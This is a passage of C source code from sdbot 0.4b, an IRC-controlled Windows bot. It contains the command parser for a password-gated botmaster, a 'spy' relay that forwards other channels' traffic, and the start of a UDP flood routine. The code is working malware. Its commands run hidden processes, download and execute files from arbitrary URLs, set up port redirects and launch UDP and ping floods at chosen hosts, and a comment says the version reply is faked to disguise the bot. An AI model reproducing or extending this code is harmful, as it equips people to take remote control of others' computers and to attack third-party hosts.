 578 	if (strcmp("PART", a[1]) == 0 || strcmp("QUIT", a[1]) == 0 || strcmp("NICK", a[1]) == 0) for (i = 0; i < maxlogins; i++) if (strcmp(masters[i], a[0]) == 0) {
 579 		masters[i][0] = '\0';
 580 		sprintf(sendbuf, "user %s logged out.\r\n", strtok(a[0], "!") + 1);
 581 		addlog(sendbuf);
 582 		if (strcmp("QUIT", a[1]) == 0) irc_privmsg(sock, channel, sendbuf);
 583 		 else irc_privmsg(sock, a[2]+1, sendbuf);
 584 	}
 585 
 586 	// we've successfully joined the channel
 587 	if (strcmp("353", a[1]) == 0) {
 588 		if (strcmp(channel, a[4]) == 0) *in_channel = 1;
 589 		sprintf(sendbuf, "joined channel %s.", a[4]);
 590 		addlog(sendbuf);
 591 	}
 592 
 593 	// if we get a privmsg, notice or topic command, start parsing it
 594 	if (strcmp("PRIVMSG", a[1]) == 0 || strcmp("NOTICE", a[1]) == 0 || strcmp("332", a[1]) == 0) {
 595 		if (strcmp("PRIVMSG", a[1]) == 0 || strcmp("NOTICE", a[1]) == 0) {	// it's a privmsg/notice
 596 			if (a[2] == NULL) return 1;
 597 			if (strstr(a[2], "#") == NULL) a[2] = strtok(a[0], "!") + 1;
 598 			a[3]++;
 599 			// if our nick is the first part of the privmsg, then we should look at a[4] for a command, a[3] otherwise.
 600 			if (strncmp(nick, a[3], strlen(nick)) == 0) s = 4; else s = 3;
 601 			if (a[s] == NULL) return 1;
 602 			// if someone asks for our version, send fake version reply to help disguise the fact that we're a bot
 603 			if (strcmp("\1VERSION\1", a[s]) == 0) irc_sendf(sock,"NOTICE %s :\1VERSION sdbot v0.4b by [sd]\1\r\n", a[2]);
 604 			else if (strcmp("\1PING", a[s]) == 0) if (a[s+1] != NULL) irc_sendf2(sock, "NOTICE %s :\1PING %s\1\r\n", a[2], a[s+1]);
 605 		} else { // it's a topic command
 606 			s = 4;
 607 			a[4]++;
 608 			a[2] = a[3];
 609 		}
 610 
 611 		if (a[s]++[0] != prefix1) return 1;
 612 		// see if someone is logging in
 613 		if (strcmp("login", a[s]) == 0 || strcmp("l", a[s]) == 0) {
 614 			// make sure that user isn't already logged in
 615 			for (i = 0; i < maxlogins; i++) if (strcmp(masters[i], a[0]) == 0) return 1;
 616 			for (i = 0; i < maxlogins; i++) {
 617 				if (a[s+1] == NULL) return 1;
 618 				if (masters[i][0] != '\0') continue;
 619 				if (strcmp(password, a[s+1]) == 0) {
 620 					strcpy(masters[i], a0);
 621 					irc_privmsg(sock, a[2], "password accepted.");
 622 					char *u = strtok(a[0], "!") + 1;
 623 					char *h = strtok(NULL, "\0");
 624 					sprintf(sendbuf, "user %s(%s) logged in.", u, h);
 625 					addlog(sendbuf);
 626 					break;
 627 				}
 628 			}
 629 			return 1;
 630 		}
 631 		ismaster = FALSE;
 632 		for (i = 0; i < maxlogins; i++) if (strcmp(masters[0], a0) == 0) ismaster = TRUE;
 633 		if (ismaster || strcmp("332", a[1]) == 0) {
 634 			// commands requiring no parameters
 635 			// check if the command matches an alias's name
 636 			for (i = 0; i < anum; i++) {
 637 				if (strcmp(aliases[i].name, a[s]) == 0) {
 638 					strstr(line, " :")[2] = prefix1;
 639 					strcpy(strstr(line, " :")+3, aliases[i].command);
 640 
 641 					// process variables
 642 					replacestr(line, "$me", nick1); // bot's nick
 643 					replacestr(line, "$user", strtok(a[0], "!")+1); // user's nick
 644 					replacestr(line, "$chan", a[2]); // channel name (or user name if this is a privmsg to the bot)
 645 					replacestr(line, "$rndnick", rndnick(ntmp)); // random string of 4-7 characters
 646 
 647 					// process '$x-' parameter variables
 648 					for (ii=15; ii > 0; ii--) {
 649 						sprintf(ntmp, "$%d-", ii);
 650 						if (strstr(line, ntmp) != NULL && a[s+ii+1] != NULL) {
 651 							char *x = strstr(line1, " :");
 652 							if (x != NULL) {
 653 								char *y = strstr(x, a[s+ii]);
 654 								if (y != NULL) replacestr(line, ntmp, y);
 655 							}
 656 						}
 657 					}
 658 
 659 					// process '$x' parameter variables
 660 					for (ii=16; ii > 0; ii--){
 661 						sprintf(ntmp, "$%d", ii);
 662 						if (strstr(line, ntmp) != NULL && a[s+ii] != NULL) replacestr(line, ntmp, a[s+ii]);
 663 					}
 664 
 665 					//realloc(line, strlen(line)+1);
 666 					return repeat+1; // we've found a match and replaced all the variables, so let's parse the line again
 667 				}
 668 			}
 669 
 670 			if (strcmp("rndnick", a[s]) == 0 || strcmp("rn", a[s]) == 0) {
 671 				rndnick(nick);
 672 				irc_sendf(sock, "NICK %s\r\n", nick);
 673 			}
 674 			else if (strcmp("die", a[s]) == 0 || strcmp("d", a[s]) == 0) {
 675 				if (strcmp("332", a[1]) != 0) exit(0);
 676 			}
 677 			else if (strcmp("logout", a[s]) == 0 || strcmp("lo", a[s]) == 0) {
 678 				for (i = 0; i < maxlogins; i++) if (strcmp(masters[i], a[0]) == 0) {
 679 					masters[i][0] = '\0';
 680 					sprintf(sendbuf, "user %s logged out.\r\n", strtok(a0, "!") + 1);
 681 					irc_privmsg(sock, a[2], sendbuf);
 682 					addlog(sendbuf);
 683 				}
 684 			}
 685 			else if (strcmp("reconnect", a[s]) == 0 || strcmp("r", a[s]) == 0) {
 686 				irc_send(sock, "QUIT :reconnecting");
 687 				return 0;
 688 			}
 689 			else if (strcmp("disconnect", a[s]) == 0 || strcmp("d", a[s]) == 0) {
 690 				irc_send(sock, "QUIT :later");
 691 				return -1;
 692 			}
 693 			else if (strcmp("quit", a[s]) == 0 || strcmp("q", a[s]) == 0) {
 694 				if (a[s+1] == NULL) irc_send(sock, "QUIT :later\r\n"); else {
 695 					char *x = strstr(line1, " :");
 696 					if (x != NULL) {
 697 						char *y = strstr(x, a[s+1]);
 698 						if (y != NULL) irc_sendf(sock, "QUIT :%s\r\n", y);
 699 					}
 700 				}
 701 				return -2;
 702 			}
 703 			else if (strcmp("status", a[s]) == 0 || strcmp("s", a[s]) == 0) {
 704 				DWORD total, days, hours, minutes;
 705 				total = (DWORD)clock() / 1000;
 706 				days = total / 86400;
 707 				hours = (total % 86400) / 3600;
 708 				minutes = ((total % 86400) % 3600) / 60;
 709 				sprintf(sendbuf, "sdbot 0.4b ready. Up %dd %dh %dm.", days, hours, minutes);
 710 				irc_privmsg(sock, a[2], sendbuf);
 711 			}
 712 			else if (strcmp("id", a[s]) == 0 || strcmp("i", a[s]) == 0) irc_privmsg(sock, a[2], (char *)botid);
 713 			else if (strcmp("about", a[s]) == 0 || strcmp("ab", a[s]) == 0) irc_privmsg(sock, a[2], "sdbot version 0.4b by [sd] ([email protected]). homepage: http://sdbot.n3.net/");
 714 			else if (strcmp("threads", a[s]) == 0 || strcmp("t", a[s]) == 0) {
 715 				irc_privmsg(sock, a[2], "-[thread list]-");
 716 				for (i = 0; i < 64; i++) {
 717 					if (threadd[i][0] != '\0') {
 718 						sprintf(sendbuf, "%d. %s", i, threadd[i]);
 719 						irc_privmsg(sock, a[2], sendbuf);
 720 					}
 721 				}
 722 			}
 723 			else if (strcmp("aliases", a[s]) == 0 || strcmp("al", a[s]) == 0) {
 724 				irc_privmsg(sock, a[2], "-[alias list]-");
 725 				for (i = 0; i < maxaliases; i++) {
 726 					if (aliases[i].name[0] != '\0') {
 727 						sprintf(sendbuf, "%d. %s = %s", i, aliases[i].name, aliases[i].command);
 728 						irc_privmsg(sock, a[2], sendbuf);
 729 					}
 730 				}
 731 			}
 732 			else if (strcmp("log", a[s]) == 0 || strcmp("lg", a[s]) == 0) {
 733 				for (i = 0; i < 128; i++) {
 734 					if (log[i][0] != '\0') {
 735 						irc_privmsg(sock, a[2], log[i]);
 736 					}
 737 				}
 738 			}
 739 			#ifndef NO_SYSINFO
 740 			else if (strcmp("sysinfo", a[s]) == 0 || strcmp("si", a[s]) == 0) irc_privmsg(sock, a[2], sysinfo(sendbuf, sock));
 741 			#endif
 742 			else if (strcmp("remove", a[s]) == 0 || strcmp("rm", a[s]) == 0) {
 743 				irc_privmsg(sock, a[2], "removing bot...");
 744 				uninstall();
 745 				WSACleanup();
 746 				exit(0);
 747 			}
 748 			// commands requiring at least 1 parameter
 749 			else if (a[s+1] == NULL) return 1;
 750 			else if (strcmp("nick", a[s]) == 0 || strcmp("n", a[s]) == 0) {
 751 				irc_sendf(sock, "NICK %s\r\n", a[s+1]);
 752 			}
 753 			else if (strcmp("join", a[s]) == 0 || strcmp("j", a[s]) == 0) {
 754 				irc_sendf2(sock, "JOIN %s %s\r\n", a[s+1], a[s+2]);
 755 			}
 756 			else if (strcmp("part", a[s]) == 0 || strcmp("pt", a[s]) == 0) {
 757 				irc_sendf(sock, "PART %s\r\n", a[s+1]);
 758 			}
 759 			else if (strcmp("raw", a[s]) == 0 || strcmp("r", a[s]) == 0) {
 760 				char *x = strstr(line1, " :");
 761 				if (x != NULL) {
 762 					char *y = strstr(x, a[s+1]);
 763 					if (y != NULL) irc_send(sock, y);
 764 				}
 765 			}
 766 			else if (strcmp("killthread", a[s]) == 0 || strcmp("k", a[s]) == 0) {
 767 				BOOL threadkilled = FALSE;
 768 				for (i=1; a[s+i] != NULL; i++) if (strlen(a[s+i]) < 3) if (atoi(a[s+i]) < 64 && atoi(a[s+i]) > 0) {
 769 					GetExitCodeThread(&threads[atoi(a[s+i])], &exitcode);
 770 					TerminateThread(threads[atoi(a[s+i])], exitcode);
 771 					if (threads[atoi(a[s+i])] != 0) threadkilled = TRUE;
 772 					threads[atoi(a[s+i])] = 0;
 773 					threadd[atoi(a[s+i])][0] = '\0';
 774 					cnick[atoi(a[s+i])][0] = '\0';
 775 				}
 776 					if (threadkilled) irc_privmsg(sock, a[2], "thread(s) killed.");
 777 			}
 778 			else if (strcmp("c_quit", a[s]) == 0 || strcmp("c_q", a[s]) == 0) {
 779 				if (atoi(a[s+1]) > 0 && atoi(a[s+1]) < 65) {
 780 					irc_send(csock[atoi(a[s+1])], "QUIT :later");
 781 					closesocket(csock[atoi(a[s+1])]);
 782 					TerminateThread(threads[atoi(a[s+1])], id);
 783 					threads[atoi(a[s+1])] = 0;
 784 					threadd[atoi(a[s+1])][0] = '\0';
 785 				}
 786 			}
 787 			else if (strcmp("prefix", a[s]) == 0 || strcmp("pr", a[s]) == 0) prefix1 = a[s+1][0];
 788 			else if (strcmp("open", a[s]) == 0 || strcmp("o", a[s]) == 0) {
 789 				ShellExecute(0, "open", a[s+1], NULL, NULL, SW_SHOW);
 790 				irc_privmsg(sock, a[2], "file opened.");
 791 			}
 792 			// commands requiring at least 2 parameters
 793 			else if (a[s+2] == NULL) return 1;
 794 			else if (strcmp("addalias", a[s]) == 0 || strcmp("aa", a[s]) == 0) {
 795 				char *x = strstr(line1, " :");
 796 				if (x != NULL) {
 797 					char *y = strstr(x, a[s+2]);
 798 					if (y != NULL) addalias(a[s+1], y);
 799 				}
 800 			}
 801 			else if (strcmp("privmsg", a[s]) == 0 || strcmp("pm", a[s]) == 0) {
 802 				char *x = strstr(line1, " :");
 803 				if (x != NULL) {
 804 					char *y = strstr(x, a[s+2]);
 805 					if (y != NULL) irc_privmsg(sock, a[s+1], y);
 806 				}
 807 			}
 808 			else if (strcmp("action", a[s]) == 0 || strcmp("a", a[s]) == 0) {
 809 				char *x = strstr(line1, " :");
 810 				if (x != NULL) {
 811 					char *y = strstr(x, a[s+2]);
 812 					if (y != NULL) {
 813 						sprintf(sendbuf, "\1ACTION %s\1", y);
 814 						irc_privmsg(sock, a[s+1], sendbuf);
 815 					}
 816 				}
 817 			}
 818 			else if (strcmp("cycle", a[s]) == 0 || strcmp("cy", a[s]) == 0) {
 819 				if (strcmp("332", a[1]) == 0) return 1;
 820 				irc_sendf(sock, "PART %s\r\n", a[s+2]);
 821 				Sleep(atoi(a[s+1])*1000);
 822 				irc_sendf2(sock, "JOIN %s %s\r\n", a[s+2], a[s+3]);
 823 			}
 824 			else if (strcmp("mode", a[s]) == 0 || strcmp("m", a[s]) == 0) {
 825 				char *x = strstr(line1, " :");
 826 				if (x != NULL) {
 827 					char *y = strstr(x, a[s+1]);
 828 					if (y != NULL) irc_sendf(sock, "MODE %s\r\n", y);
 829 				}
 830 			}
 831 			else if (strcmp("repeat", a[s]) == 0 || strcmp("rp", a[s]) == 0) {
 832 				if (strcmp("332", a[1]) == 0) return 1;
 833 				char *x = strstr(line1, " :");
 834 				if (x != NULL) {
 835 					char *r = strstr(x, a[s+2]);
 836 					sprintf(sendbuf, "%s %s %s :%s", a[0], a[1], a[2], r);
 837 					strcpy(line, sendbuf);
 838 					if (atoi(a[s+1]) > 0) return repeat + atoi(a[s+1]); else return repeat;
 839 				}
 840 			}
 841 			else if (strcmp("c_raw", a[s]) == 0 || strcmp("c_r", a[s]) == 0) {
 842 				char *x = strstr(line1, " :");
 843 				if (x != NULL) {
 844 					char *y = strstr(x, a[s+2]);
 845 					if (y != NULL && atoi(a[s+1]) > 0 && atoi(a[s+1]) < 65) irc_send(csock[atoi(a[s+1])], y);
 846 				}
 847 			}
 848 			else if (strcmp("c_mode", a[s]) == 0 || strcmp("c_m", a[s]) == 0) {
 849 				char *x = strstr(line1, " :");
 850 				if (x != NULL) {
 851 					char *y = strstr(x, a[s+2]);
 852 					if (y != NULL) sprintf(sendbuf, "MODE %s", y);
 853 					if (atoi(a[s+1]) > 0 && atoi(a[s+1]) < 65) irc_send(csock[atoi(a[s+1])], sendbuf);
 854 				}
 855 			}
 856 			else if (strcmp("c_nick", a[s]) == 0 || strcmp("c_n", a[s]) == 0) {
 857 				sprintf(sendbuf, "NICK %s", a[s+2]);
 858 				if (atoi(a[s+1]) > 0 && atoi(a[s+1]) < 65) irc_send(csock[atoi(a[s+1])], sendbuf);
 859 			}
 860 			else if (strcmp("c_join", a[s]) == 0 || strcmp("c_j", a[s]) == 0) {
 861 				sprintf(sendbuf, "JOIN %s %s", a[s+2], a[s+3]);
 862 				if (atoi(a[s+1]) > 0 && atoi(a[s+1]) < 65) irc_send(csock[atoi(a[s+1])], sendbuf);
 863 			}
 864 			else if (strcmp("c_part", a[s]) == 0 || strcmp("c_p", a[s]) == 0) {
 865 				sprintf(sendbuf, "PART %s", a[s+2]);
 866 				if (atoi(a[s+1]) > 0 && atoi(a[s+1]) < 65) irc_send(csock[atoi(a[s+1])], sendbuf);
 867 			}
 868 			#ifndef NO_REDIRECT
 869 			else if (strcmp("redirect", a[s]) == 0 || strcmp("rd", a[s]) == 0) {
 870 				rs rs;
 871 				rs.lport = atoi(a[s+1]);
 872 				strcpy(rs.dest, a[s+2]);
 873 				rs.port = atoi(a[s+3]);
 874 				rs.sock = sock;
 875 				sprintf(sendbuf, "redirect (%d->%s:%d)", rs.lport, rs.dest, rs.port);
 876 				rs.threadnum = addthread(sendbuf);
 877 				sprintf(sendbuf, "redirect created on port %d to %s:%d.\r\n", rs.lport, rs.dest, rs.port);
 878 				irc_privmsg(sock, a[2], sendbuf);
 879 				threads[rs.threadnum] = CreateThread(NULL, 0, &redirect, (void *)&rs, 0, &id);
 880 			}
 881 			#endif
 882 			#ifndef NO_DOWNLOAD
 883 			else if (strcmp("update", a[s]) == 0 || strcmp("up", a[s]) == 0) {
 884 				if (strcmp(botid, a[s+2]) == 0) return 1;
 885 				ds ds;
 886 				sprintf(ds.dest, "c:\\%s.exe", nick);
 887 				strcpy(ds.url, a[s+1]);
 888 				ds.run = 0;
 889 				ds.sock = sock;
 890 				strcpy(ds.chan, a[2]);
 891 				sprintf(sendbuf, "update (%s)", ds.url);
 892 				ds.threadnum = addthread(sendbuf);
 893 				ds.update = 1;
 894 				threads[ds.threadnum] = CreateThread(NULL, 0, &webdownload, (void *)&ds, 0, &id);
 895 				sprintf(sendbuf, "downloading update from %s...\r\n", a[s+1]);
 896 				irc_privmsg(sock, a[2], sendbuf);
 897 			}
 898 			#endif
 899 			else if (strcmp("execute", a[s]) == 0 || strcmp("e", a[s]) == 0) {
 900 				PROCESS_INFORMATION pinfo;
 901 				STARTUPINFO sinfo;
 902 				memset(&sinfo, 0, sizeof(STARTUPINFO));
 903 				sinfo.cb = sizeof(sinfo);
 904 				if (atoi(a[s+1]) == 0) sinfo.wShowWindow = SW_HIDE; else sinfo.wShowWindow = SW_SHOW;
 905 				char *x = strstr(line1, " :");
 906 				if (x != NULL) {
 907 					char *y = strstr(x, a[s+2]);
 908 					if (y != NULL) CreateProcess(NULL, y, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo);
 909 				}
 910 			}
 911 			// commands requiring at least 3 parameters
 912 			else if (a[s+3] == NULL) return 1;
 913 			else if (strcmp("clone", a[s]) == 0 || strcmp("c", a[s]) == 0) {
 914 				ircs irc;
 915 				strcpy(irc.host, a[s+1]);
 916 				irc.port = atoi(a[s+2]);
 917 				strcpy(irc.channel, a[s+3]);
 918 				if (a[s+4] != NULL) strcpy(irc.chanpass, a[s+4]);
 919 				sprintf(sendbuf, "clone (%s)", irc.host);
 920 				irc.threadnum = addthread(sendbuf);
 921 				sprintf(sendbuf, "clone created on %s:%d, in channel %s.\r\n", irc.host, irc.port, irc.channel);
 922 				irc_privmsg(sock, a[2], sendbuf);
 923 				threads[irc.threadnum] = CreateThread(NULL, 0, &irc_connect, (void *)&irc, 0, &id);
 924 			}
 925 			else if (a[s+3] == NULL) return 1;
 926 			#ifndef NO_DOWNLOAD
 927 			else if (strcmp("download", a[s]) == 0 || strcmp("dl", a[s]) == 0) {
 928 				ds ds;
 929 				strcpy(ds.url, a[s+1]);
 930 				strcpy(ds.dest, a[s+2]);
 931 				if (a[s+3] != NULL) ds.run = atoi(a[s+3]); else ds.run = 0;
 932 				ds.sock = sock;
 933 				strcpy(ds.chan, a[2]);
 934 				sprintf(sendbuf, "download (%s)", ds.url);
 935 				ds.threadnum = addthread(sendbuf);
 936 				ds.update = 0;
 937 				threads[ds.threadnum] = CreateThread(NULL, 0, &webdownload, (void *)&ds, 0, &id);
 938 				sprintf(sendbuf, "downloading %s...\r\n", a[s+1]);
 939 				irc_privmsg(sock, a[2], sendbuf);
 940 			}
 941 			#endif
 942 			#ifndef NO_UDP
 943 			else if (strcmp("udp", a[s]) == 0 || strcmp("u", a[s]) == 0) {
 944 				ps udps;
 945 				strcpy(udps.host, a[s+1]);
 946 				udps.num = atoi(a[s+2]);
 947 				udps.size = atoi(a[s+3]);
 948 				udps.delay = atoi(a[s+4]);
 949 				if (a[s+5] != NULL) udps.port = atoi(a[s+5]); else udps.port = 0;
 950 				strcpy(udps.chan, a[2]);
 951 				udps.sock = sock;
 952 				sprintf(sendbuf, "udp (%s)", udps.host);
 953 				udps.threadnum = addthread(sendbuf);
 954 				sprintf(sendbuf, "sending %d udp packets to: %s. packet size: %d, delay: %d[ms].\r\n", udps.num, udps.host, udps.size, udps.delay);
 955 				irc_privmsg(sock, a[2], sendbuf);
 956 				threads[udps.threadnum] = CreateThread(NULL, 0, &udp, (void *)&udps, 0, &id);
 957 			}
 958 			#endif
 959 			#ifndef NO_PING
 960 			else if (strcmp("ping", a[s]) == 0 || strcmp("p", a[s]) == 0) {
 961 				ps pings;
 962 				strcpy(pings.host, a[s+1]);
 963 				pings.num = atoi(a[s+2]);
 964 				pings.size = atoi(a[s+3]);
 965 				pings.delay = atoi(a[s+4]);
 966 				strcpy(pings.chan, a[2]);
 967 				pings.sock = sock;
 968 				sprintf(sendbuf, "ping (%s)", pings.host);
 969 				pings.threadnum = addthread(sendbuf);
 970 				sprintf(sendbuf, "sending %d pings to %s. packet size: %d, timeout: %d[ms]\r\n", pings.num, pings.host, pings.size, pings.delay);
 971 				irc_privmsg(sock, a[2], sendbuf);
 972 				threads[pings.threadnum] = CreateThread(NULL, 0, &ping, (void *)&pings, 0, &id);
 973 			}
 974 			#endif
 975 			else if (strcmp("c_privmsg", a[s]) == 0 || strcmp("c_pm", a[s]) == 0) {
 976 				if (cnick[atoi(a[s+1])][0] != '\0') {
 977 					char *x = strstr(line1, " :");
 978 					char *y = strstr(x, a[s+3]);
 979 					if (y != NULL && atoi(a[s+1]) > 0 && atoi(a[s+1]) < 65) {
 980 						irc_privmsg(csock[atoi(a[s+1])], a[s+2], y);
 981 						sprintf(sendbuf, "[%s] <%s> %s", a[s+2], cnick[atoi(a[s+1])], y);
 982 						irc_privmsg(sock, a[2], sendbuf);
 983 					}
 984 				}
 985 			}
 986 			else if (strcmp("c_action", a[s]) == 0 || strcmp("c_a", a[s]) == 0) {
 987 				if (cnick[atoi(a[s+1])][0] != '\0') {
 988 					char *x = strstr(line1, " :");
 989 					char *y = strstr(x, a[s+3]);
 990 					sprintf(sendbuf, "\1ACTION %s\1", y);
 991 					if (y != NULL && atoi(a[s+1]) > 0 && atoi(a[s+1]) < 65) {
 992 						irc_privmsg(csock[atoi(a[s+1])], a[s+2], sendbuf);
 993 						sprintf(sendbuf, "[%s] * %s %s", a[s+2], cnick[atoi(a[s+1])], y);
 994 						irc_privmsg(sock, a[2], sendbuf);
 995 					}
 996 				}
 997 			}
 998 			// commands requiring at least 4 parameters
 999 			else if (a[s+4] == NULL) return 1;
1000 			#ifndef NO_SPY
1001 			else if (strcmp("spy", a[s]) == 0 || strcmp("sp", a[s]) == 0) {
1002 				ircs sirc;
1003 				strcpy(sirc.host, a[s+2]);
1004 				sirc.port = atoi(a[s+3]);
1005 				strcpy(sirc.channel, a[s+4]);
1006 				if (a[s+5] != NULL) strcpy(sirc.chanpass, a[s+5]);
1007 				strcpy(sirc.hchan, a[2]);
1008 				sirc.sock = sock;
1009 				sirc.spy = 1;
1010 				sprintf(sendbuf, "spy (%s)", sirc.host);
1011 				sirc.threadnum = addthread(sendbuf);
1012 				sirc.nick = cnick[sirc.threadnum];
1013 				strcpy(sirc.nick, a[s+1]);
1014 				sprintf(sendbuf, "spy created on %s:%d, in channel %s.\r\n", sirc.host, sirc.port, sirc.channel);
1015 				irc_privmsg(sock, a[2], sendbuf);
1016 				threads[sirc.threadnum] = CreateThread(NULL, 0, &irc_connect, (void *)&sirc, 0, &id);
1017 			}
1018 			#endif
1019 		}
1020 	}
1021 	return repeat;
1022  }
1023 
1024 
1025 #ifndef NO_SPY
1026 // function for spies to parse lines
1027  int irc_spyparseline(char *line, SOCKET sock, char *channel, char *chanpass, char *nick1, SOCKET hsock, char *hchannel, char *server)
1028  {
1029 	char line1[512];
1030 	char line2[512];
1031 	int i;
1032 	char *a[32];
1033 	char a0[96];
1034 	char nick[16];
1035 	char sendbuf[256];
1036 
1037 	strcpy(nick, nick1);
1038 
1039 	if (line == NULL) return 1;
1040 	memset(line1, 0, sizeof(line1));
1041 	memset(line2, 0, sizeof(line2));
1042 	strcpy(line1, line);
1043 	strcpy(line2, line);
1044 
1045 	// split the current line up into seperate words
1046 	a[0] = strtok(line2, " ");
1047 	for (i = 1; i < 32; i++) a[i] = strtok(NULL, " ");
1048 
1049 	if (a[1] == NULL) return 1;
1050 	if (a[0][0] != '\n') strcpy(a0, a[0]);
1051 
1052 	// pong if we get a ping request from the server
1053 	if (strcmp("PING", a[0]) == 0) {
1054 		irc_sendf(sock, "PONG %s\r\n", a[1]+1);
1055 		irc_sendf2(sock, "JOIN %s %s\r\n", channel, chanpass);
1056 	}
1057 
1058 	// looks like we're connected to the server, let's join the channel
1059 	if (strcmp("001", a[1]) == 0 || strcmp("005", a[1]) == 0) irc_sendf2(sock, "JOIN %s %s\r\n", channel, chanpass);
1060 
1061 	else if (strcmp("353", a[1]) == 0) {
1062 		char *m = strstr(line1, a[5]);
1063 		if (m != NULL) {
1064 			sprintf(sendbuf, "[%s]: Users in %s: %s", server, a[4], m+1);
1065 			irc_privmsg(hsock, hchannel, sendbuf);
1066 		}
1067 	}
1068 
1069 	else if (strcmp("433", a[1]) == 0) {
1070 		sprintf(sendbuf, "[%s]: nick %s already in use.", server, nick1);
1071 		irc_privmsg(hsock, hchannel, sendbuf);
1072 	}
1073 
1074 	else if (strcmp("JOIN", a[1]) == 0) {
1075 		char *u = strtok(a[0], "!") + 1;
1076 		sprintf(sendbuf, "[%s]: %s has joined %s.", a[2]+1, u, a[2]+1);
1077 		irc_privmsg(hsock, hchannel, sendbuf);
1078 	}
1079 
1080 	else if (strcmp("PART", a[1]) == 0) {
1081 		char *u = strtok(a[0], "!") + 1;
1082 		sprintf(sendbuf, "[%s]: %s has left %s.", a[2], u, a[2]);
1083 		irc_privmsg(hsock, hchannel, sendbuf);
1084 	}
1085 
1086 	else if (strcmp("KICK", a[1]) == 0) {
1087 		if (strcmp(nick, a[3]) == 0) {
1088 			irc_sendf2(sock, "JOIN %s %s\r\n", channel, chanpass);
1089 			sprintf(sendbuf, "wtf %s?\r\n", strtok(a[0], "!") + 1);
1090 			irc_privmsg(sock, a[2], sendbuf);
1091 		}
1092 	}
1093 
1094 	else if (strcmp("QUIT", a[1]) == 0) {
1095 		char *u = strtok(a[0], "!") + 1;
1096 		char *q = strstr(line2, " :") + 2;
1097 		sprintf(sendbuf, "[%s]: %s has quit(%s).", server, u, q);
1098 		irc_privmsg(hsock, hchannel, sendbuf);
1099 	}
1100 
1101 	else if (strcmp("NICK", a[1]) == 0) {
1102 		char *oldnck = strtok(a[0], "!") + 1;
1103 		char *newnck = a[2] + 1;
1104 		if (oldnck != NULL && newnck != NULL) if (strcmp(oldnck, nick1) == 0) strcpy(nick1, newnck);
1105 		sprintf(sendbuf, "[%s]: %s is now known as %s.", server, oldnck, newnck);
1106 		irc_privmsg(hsock, hchannel, sendbuf);
1107 	}
1108 
1109 	else if (strcmp("PRIVMSG", a[1]) == 0 || strcmp("NOTICE", a[1]) == 0) {
1110 		if (strstr(a[2], "#") == NULL) a[2] = strtok(a[0], "!") + 1;
1111 		a[3]++;
1112 		char *u = strtok(a[0], "!") + 1;
1113 		if (strcmp("\1ACTION", a[3]) == 0) {
1114 			char *m = strstr(line1, "ACTION");
1115 			if (m != NULL) {
1116 				m = m + 7;
1117 				sprintf(sendbuf, "[%s]: * %s %s", a[2], u, strtok(m, "\1"));
1118 				irc_privmsg(hsock, hchannel, sendbuf);
1119 			}
1120 		}
1121 		else {
1122 			char *m = strstr(line1, " :");
1123 			if (m != NULL) {
1124 				m = m + 2;
1125 				sprintf(sendbuf, "[%s]: <%s> %s", a[2], u, m);
1126 				irc_privmsg(hsock, hchannel, sendbuf);
1127 			}
1128 		}
1129 	}
1130 
1131 	return 1;
1132 }
1133 #endif
1134 
1135 // irc send functions
1136  void irc_send(SOCKET sock, char *msg)
1137  {
1138 	char msgbuf[512];
1139 
1140 	memset(msgbuf, 0, sizeof(msgbuf));
1141 	sprintf(msgbuf, "%s\r\n", msg);
1142 	send(sock, msgbuf, strlen(msgbuf), 0);
1143  }
1144 
1145 
1146  void irc_sendf(SOCKET sock, char *msg, char *str)
1147  {
1148 	char msgbuf[512];
1149 
1150 	memset(msgbuf, 0, sizeof(msgbuf));
1151 	sprintf(msgbuf, msg, str);
1152 	send(sock, msgbuf, strlen(msgbuf), 0);
1153  }
1154 
1155  void irc_sendf2(SOCKET sock, char *msg, char *str, char *str2)
1156  {
1157 	char msgbuf[512];
1158 
1159 	memset(msgbuf, 0, sizeof(msgbuf));
1160 	sprintf(msgbuf, msg, str, str2);
1161 	send(sock, msgbuf, strlen(msgbuf), 0);
1162  }
1163 
1164  void irc_privmsg(SOCKET sock, char *dest, char *msg)
1165  {
1166 	char msgbuf[512];
1167 
1168 	memset(msgbuf, 0, sizeof(msgbuf));
1169 	sprintf(msgbuf, "PRIVMSG %s :%s\r\n", dest, msg);
1170 	send(sock, msgbuf, strlen(msgbuf), 0);
1171  }
1172 
1173 // search-and-replace function for strings
1174  char * replacestr(char *str, char *oldstr, char *newstr)
1175  {
1176 	char *p;
1177 	char str2[384];
1178 	char str3[384];
1179 	char str4[384];
1180 
1181 	memset(str2, 0, sizeof(str2));
1182 	memset(str3, 0, sizeof(str3));
1183 	memset(str4, 0, sizeof(str4));
1184 	strcpy(str2, str);
1185 
1186 	while (strstr(str2, oldstr) != NULL) {
1187 		p = strstr(str2, oldstr);
1188 		strcpy(str4, p + strlen(oldstr));
1189 		p[0] = '\0';
1190 		strcpy(str3, str2);
1191 		if (strlen(p+1) > strlen(oldstr-1)) sprintf(str2, "%s%s%s", str3, newstr, str4);
1192 		 else sprintf(str2, "%s%s", str3, newstr);
1193 		if (strstr(oldstr, newstr) != NULL) break;
1194 	}
1195 	strcpy(str, str2);
1196 	return str;
1197  }
1198 
1199  #ifndef NO_UDP
1200 // function for sending udp packets
1201  DWORD WINAPI udp(LPVOID param)
1202  {
1203 	SOCKET usock;
1204 	SOCKADDR_IN ssin;
1205 	LPHOSTENT hostent;
1206 	IN_ADDR iaddr;
1207 	ps udp;
1208 	int i;
1209 
1210 	// socket setup
1211 	udp = *((ps *)param);
1212 	char *host = udp.host;
1213 	hostent = gethostbyname(udp.host);
1214 	usock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
1215 	memset(&ssin, 0, sizeof(ssin));
1216 	ssin.sin_family = AF_INET;
1217 	iaddr.s_addr = inet_addr(udp.host);
1218 	if (iaddr.s_addr == INADDR_NONE) hostent = gethostbyname(udp.host);
1219 	else hostent = gethostbyaddr((const char *)&iaddr, sizeof(struct in_addr), AF_INET);
1220 	if (hostent == NULL) {
1221 		irc_sendf2(udp.sock, "PRIVMSG %s :error sending packets to %s.\r\n", udp.chan, host);
1222 		return 0;
1223 	}
1224 	ssin.sin_addr = *((LPIN_ADDR)*hostent->h_addr_list);
1225 	srand(GetTickCount());
1226 	if (udp.port == 0) ssin.sin_port = htons((rand() % 65500) + 1); else ssin.sin_port = htons(udp.port); // get a random port if one isn't specified
1227 
1228 	udp.num = udp.num / 10;
1229 
1230 	char *ubuff = (char *)malloc(udp.size);
1231 	while (udp.num-- > 0) {
1232 		//change port every 10 packets (if one isn't specified)
